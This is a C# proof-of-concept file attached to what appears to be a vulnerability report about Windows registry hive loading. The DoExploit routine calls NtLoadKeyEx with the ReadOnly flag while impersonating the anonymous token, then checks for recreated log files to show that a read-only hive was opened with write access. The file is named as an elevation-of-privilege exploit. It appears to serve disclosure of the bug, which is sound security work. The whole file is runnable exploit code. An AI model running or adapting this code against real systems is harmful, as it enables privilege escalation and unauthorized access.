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Issue 871 attachment: Program.cs (7.2 KB)

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using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

namespace PoC_NtLoadKeyEx_ReadOnlyFlag_EoP
{
class Program
{
[Flags]
public enum AttributeFlags : uint
{
None = 0,
Inherit = 0x00000002,
Permanent = 0x00000010,
Exclusive = 0x00000020,
CaseInsensitive = 0x00000040,
OpenIf = 0x00000080,
OpenLink = 0x00000100,
KernelHandle = 0x00000200,
ForceAccessCheck = 0x00000400,
IgnoreImpersonatedDevicemap = 0x00000800,
DontReparse = 0x00001000,
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class UnicodeString
{
ushort Length;
ushort MaximumLength;
[MarshalAs(UnmanagedType.LPWStr)]
string Buffer;

public UnicodeString(string str)
{
Length = (ushort)(str.Length * 2);
MaximumLength = (ushort)((str.Length * 2) + 1);
Buffer = str;
}
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public sealed class ObjectAttributes : IDisposable
{
int Length;
IntPtr RootDirectory;
IntPtr ObjectName;
AttributeFlags Attributes;
IntPtr SecurityDescriptor;
IntPtr SecurityQualityOfService;

private static IntPtr AllocStruct(object s)
{
int size = Marshal.SizeOf(s);
IntPtr ret = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(s, ret, false);
return ret;
}

private static void FreeStruct(ref IntPtr p, Type struct_type)
{
Marshal.DestroyStructure(p, struct_type);
Marshal.FreeHGlobal(p);
p = IntPtr.Zero;
}

public ObjectAttributes(string object_name)
{
Length = Marshal.SizeOf(this);
if (object_name != null)
{
ObjectName = AllocStruct(new UnicodeString(object_name));
}
Attributes = AttributeFlags.None;
}

public void Dispose()
{
if (ObjectName != IntPtr.Zero)
{
FreeStruct(ref ObjectName, typeof(UnicodeString));
}
GC.SuppressFinalize(this);
}

~ObjectAttributes()
{
Dispose();
}
}

[Flags]
public enum LoadKeyFlags
{
None = 0,
AppKey = 0x10,
Exclusive = 0x20,
Unknown800 = 0x800,
ReadOnly = 0x2000,
}

[Flags]
public enum GenericAccessRights : uint
{
None = 0,
GenericRead = 0x80000000,
GenericWrite = 0x40000000,
GenericExecute = 0x20000000,
GenericAll = 0x10000000,
Delete = 0x00010000,
ReadControl = 0x00020000,
WriteDac = 0x00040000,
WriteOwner = 0x00080000,
Synchronize = 0x00100000,
MaximumAllowed = 0x02000000,
}

public class NtException : ExternalException
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string modulename);

[Flags]
enum FormatFlags
{
AllocateBuffer = 0x00000100,
FromHModule = 0x00000800,
FromSystem = 0x00001000,
IgnoreInserts = 0x00000200
}

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int FormatMessage(
FormatFlags dwFlags,
IntPtr lpSource,
int dwMessageId,
int dwLanguageId,
out IntPtr lpBuffer,
int nSize,
IntPtr Arguments
);

[DllImport("kernel32.dll")]
private static extern IntPtr LocalFree(IntPtr p);

private static string StatusToString(int status)
{
IntPtr buffer = IntPtr.Zero;
try
{
if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
{
return Marshal.PtrToStringUni(buffer);
}
}
finally
{
if (buffer != IntPtr.Zero)
{
LocalFree(buffer);
}
}
return String.Format("Unknown Error: 0x{0:X08}", status);
}

public NtException(int status) : base(StatusToString(status))
{
}
}

public static void StatusToNtException(int status)
{
if (status < 0)
{
throw new NtException(status);
}
}

[DllImport("Advapi32.dll")]
static extern bool ImpersonateAnonymousToken(
IntPtr ThreadHandle);

[DllImport("Advapi32.dll")]
static extern bool RevertToSelf();

[DllImport("ntdll.dll")]
public static extern int NtLoadKeyEx(ObjectAttributes DestinationName, ObjectAttributes FileName, LoadKeyFlags Flags,
IntPtr TrustKeyHandle, IntPtr EventHandle, GenericAccessRights DesiredAccess, out SafeRegistryHandle KeyHandle, int Unused);

static RegistryKey LoadKey(string path, bool read_only)
{
string reg_name = @"\Registry\A\" + Guid.NewGuid().ToString("B");
ObjectAttributes KeyName = new ObjectAttributes(reg_name);
ObjectAttributes FileName = new ObjectAttributes(@"\??\" + path);
SafeRegistryHandle keyHandle;
LoadKeyFlags flags = LoadKeyFlags.AppKey;
if (read_only)
flags |= LoadKeyFlags.ReadOnly;

int status = NtLoadKeyEx(KeyName,
FileName, flags, IntPtr.Zero,
IntPtr.Zero, GenericAccessRights.GenericRead, out keyHandle, 0);
if (status != 0)
return null;
return RegistryKey.FromHandle(keyHandle);
}

static bool CheckForLogs(string path)
{
return File.Exists(path + ".LOG1") || File.Exists(path + ".LOG2");
}

static void DoExploit()
{
string path = Path.GetFullPath("dummy.hiv");
RegistryKey key = LoadKey(path, false);
if (key == null)
{
throw new Exception("Something went wrong, couldn't create dummy hive");
}
key.Close();

// Ensure the log files are deleted.
File.Delete(path + ".LOG1");
File.Delete(path + ".LOG2");
if (CheckForLogs(path))
{
throw new Exception("Couldn't delete log files");
}

key = LoadKey(path, true);
if (key == null || CheckForLogs(path))
{
throw new Exception("Didn't open hive readonly");
}
key.Close();

ImpersonateAnonymousToken(new IntPtr(-2));
key = LoadKey(path, true);
RevertToSelf();
if (!CheckForLogs(path))
{
throw new Exception("Log files not recreated");
}

Console.WriteLine("[SUCCESS]: Read Only Hive Opened with Write Access");
}

static void Main(string[] args)
{
try
{
DoExploit();
}
catch (Exception ex)
{
Console.WriteLine("[ERROR]: {0}", ex.Message);
}
}
}
}